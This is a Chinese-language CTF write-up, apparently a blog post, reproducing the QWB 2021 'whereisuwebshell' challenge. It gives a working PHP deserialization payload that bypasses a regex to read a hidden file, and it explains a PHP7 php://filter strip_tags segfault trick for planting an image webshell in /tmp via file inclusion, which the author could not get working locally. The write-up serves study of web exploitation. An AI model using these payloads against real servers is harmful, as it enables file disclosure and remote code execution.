0%

强网杯2021-whereisuwebshell半复现

强网杯2021-whereisuwebshell半复现

参考WP

https://www.anquanke.com/post/id/244824

在比赛群里翻到的Nu1L战队的wp

参考链接

php LFI

0x00 前言

这道题当时比赛的时候第一步都没有做过去,赛后一直想复现来着,硬是拖了这么久。

很可惜,buu和ctfhub上面都没有这道题,只能自己按照当时比赛时保存下来的题目代码和能找到的wp,自己尽量把题目搭建出来。

0x01 第一步 e2a7106f1cc8bb1e1318df70aa0a3540.php源码的获取

题目一开始让我们读取e2a7106f1cc8bb1e1318df70aa0a3540.php里的内容。但直接访问是404notfound,所以应该存在限制。在myclass.php中的Hello类的__destruct方法中有文件读取函数,在index.php里有反序列化的入口,所以思路应该是反序列化调用文件读取函数。

但一开始myclass.php未被包含,所以无法直接实例化Hello类。需要先将myclass.php文件进行包含。所以应该会用到__autoload方法。

所以我们要反序列化的类的类名一定是myclass,这样才能将myclass.php包含。然后将myclass类的一个属性设为Hello类对象,当代码执行完毕时,便会调用Hello类的__destruct方法。但难点便在这里,由于无法绕过/myclass/i的正则匹配,代码还没执行完便会抛出异常。比赛时我也就卡在这里。

通过wp,学习到,原来可以通过反序列化报错防止throw。具体做法是:将反序列化字符串的最后两个大括号去掉。因为在序列化时是从前往后依次进行的,所以前面的过程不受影响,依然会实例化一个Hello对象。但因为最后大括号不闭合,所以返回false即 b:0;。自然就不满足正则匹配了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//class myclass{
// public $test;
// public function __construct(){
// $this->test=new Hello();
// }
//}
//class Hello
//{
// public $qwb;
//
// public function __construct()
// {
// $this->qwb="e2a7106f1cc8bb1e1318df70aa0a3540.php";
// }
//}
////echo serialize(new myclass());
echo urlencode('O:7:"myclass":1:{s:4:"test";O:5:"Hello":1:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";');

0x02 第二步 php7 LFI 获取webshell

第一步获取的源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
function PNG($file)
{
if(!is_file($file)){die("我从来没有⻅过侬");}
$first = imagecreatefrompng($file);
if(!$first){
die("发现了奇怪的东⻄2333");
}
$size = min(imagesx($first), imagesy($first));
unlink($file);
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size,'height' => $size]);
if ($second !== FALSE) {
imagepng($second, $file);
imagedestroy($second);//销毁,清内存
}
imagedestroy($first);
}
function GenFiles(){
$files = array();
$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len=strlen($str)-1;
for($i=0;$i<10;$i++){
$filename="php";
for($j=0;$j<6;$j++){
$filename .= $str[rand(0,$len)];
}
// file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
$files[] = $filename;
}
return $files;
}
$file = isset($_GET['c9eb959c-28fb-4e43-91a4-979f5c63e05f'])?$_GET['c9eb959c-28fb-4e43-91a4-979f5c63e05f']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
PNG($file);
}
include($file);
$res = @scandir($_GET['b697a607-1479-4d4d-8ab3-f1f6a4270257']);
if(isset($_GET['b697a607-1479-4d4d-8ab3-f1f6a4270257'])&&$_GET['b697a607-1479-4d4d-8ab3-f1f6a4270257']==='/tmp'){
$somthing = GenFiles();
$res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>

看了源码也明白了为啥直接访问会404。分析代码后,不难发现应该就是要上传图片木马然后文件包含。这道题还很容易就可以获取文件名。所以接下来按理来说是不难的。但可能是我本地题目配置有问题吧,按照wp打,/tmp下就是没有东西😭。所以复现就暂时止步于此了。接下来只能从理论上说一下了······

先设置c9eb959c-28fb-4e43-91a4-979f5c63e05f=php://filter/string.strip_tags/resource=/etc/passwd这在include时会Segment Fault,然后post数据便会保存在/tmp下,名字为php[6个随机字符]。所以如果我们post一个webshell,便成功向服务器上传木马。在通过设置b697a607-1479-4d4d-8ab3-f1f6a4270257=/tmp便可以知道具体的木马名字。再设置c9eb959c-28fb-4e43-91a4-979f5c63e05f=木马的路径,便会将木马包含,但因为路径中一定存在/tmp,所以会进入PNG方法,为防止die(),所以需要一开始post一个图片马。然后应该就可以获取webshell了。

0x03 小结

最后猜测一下自己没复现成的原因吧。我一旦设置c9eb959c-28fb-4e43-91a4-979f5c63e05f=php://filter/string.strip_tags/resource=/etc/passwd便会回显500,以为可能就是因为Segment Fault所以导致500,但自己去看/tmp下是什么也没有。。。感觉可能是php版本不对吧,我用的是7.0.9,文章上说要7.0.0-7.0.28才有这个bug。但自己实在找不到对应的php版本。下次再说吧,今天就先到这了。